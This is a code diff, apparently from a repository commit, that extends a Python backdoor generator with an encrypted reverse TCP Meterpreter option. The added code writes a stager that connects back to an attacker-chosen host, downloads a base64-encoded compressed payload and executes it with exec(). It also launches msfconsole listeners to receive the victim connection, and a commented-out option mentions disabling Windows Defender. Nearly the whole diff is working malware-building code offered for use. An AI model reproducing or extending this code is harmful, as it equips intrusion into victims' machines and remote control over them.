@@ -227,6 +227,34 @@ def main():
227
227
ina .close
228
228
print ('(*) Generated Backdoor and saved as ' + name )
229
229
print ('After deployment interact with this Backdoor through this module in metasploit python/meterpreter/reverse_http' )
230
+ def gen_rev_ssl_tcp ():
231
+ global name
232
+ name = input ('Please enter the name you wish to give your backdoor (do NOT add extention such as .py or .exe): ' )
233
+ host = input ('Please enter the ip you wish the backdoor to connect back to: ' )
234
+ port = input ('Please enter the port number you wish the backdoor to listen on (recomended between 1024-65353): ' )
235
+ with open (name , 'a+' ) as ina :
236
+ ina .write ('port = ' + str (port )+ '\n ' )
237
+ ina .write ("\n " )
238
+ ina .write ('hototo = "' + str (host )+ '"' )
239
+ b = '''
240
+ import zlib,base64,ssl,socket,struct,time
241
+ for x in range(10):
242
+ try:
243
+ so=socket.socket(2,1)
244
+ so.connect((hototo,port))
245
+ s=ssl.wrap_socket(so)
246
+ break
247
+ except:
248
+ time.sleep(10)
249
+ l=struct.unpack('>I',s.recv(4))[0]
250
+ d=s.recv(l)
251
+ while len(d)<l:
252
+ d+=s.recv(l-len(d))
253
+ exec(zlib.decompress(base64.b64decode(d)),{'s':s})
254
+ '''
255
+ ina .write (b )
256
+ ina .close
257
+ print ('(*) Generated Backdoor and saved as ' + name )
230
258
def postgen ():
231
259
opt_obf = input ('Do you want to obfuscate the rat (recommended) (y/n): ' )
232
260
if opt_obf == 'y' :
@@ -251,7 +279,8 @@ def postgen():
251
279
1. Create Bind Backdoor (opens a port on the victim machine and waits for you to connect)
252
280
2. Create Reverse Shell (TCP (Encryption not recommended)) (Connects back to you)
253
281
3. Create Reverse Meterpreter (HTTP) (Connects back to you)
254
- 4. Open a listener
282
+ 4. Create Encrypted TCP Meterpreter (SSL) connects back to you
283
+ 5. Open a listener
255
284
256
285
257
286
""" )
@@ -266,10 +295,21 @@ def postgen():
266
295
if nscan == "3" :
267
296
gen_rev_http ()
268
297
postgen ()
269
- if nscan == '4' :
298
+ port = input ('Please enter the port you want to listen on: ' )
299
+ a = "msfconsole -q -x 'use multi/handler;set payload python/meterpreter/reverse_http;set LHOST 0.0.0.0; set LPORT " + port + "; exploit'"
300
+ os .system (a )
301
+ if nscan == "4" :
302
+ gen_rev_ssl_tcp ()
303
+ postgen ()
304
+ port = input ('Please enter the port you want to listen on: ' )
305
+ a = "msfconsole -q -x 'use multi/handler;set payload python/meterpreter/reverse_tcp_ssl;set LHOST 0.0.0.0; set LPORT " + port + "; exploit'"
306
+ os .system (a )
307
+ if nscan == '5' :
270
308
disable_defender = False
271
309
#opt_mods = input('Do you want me to disable Windows Defender as soon as you connect? (y/n): ')
272
310
#if opt_mods == 'y':
273
311
# disable_defender = True
274
312
port = int (input ('Please enter the port u want to listen on: ' ))
275
313
listen ('0.0.0.0' , port )
314
+ else :
315
+ print ('Please select a vaild option' )
0 commit comments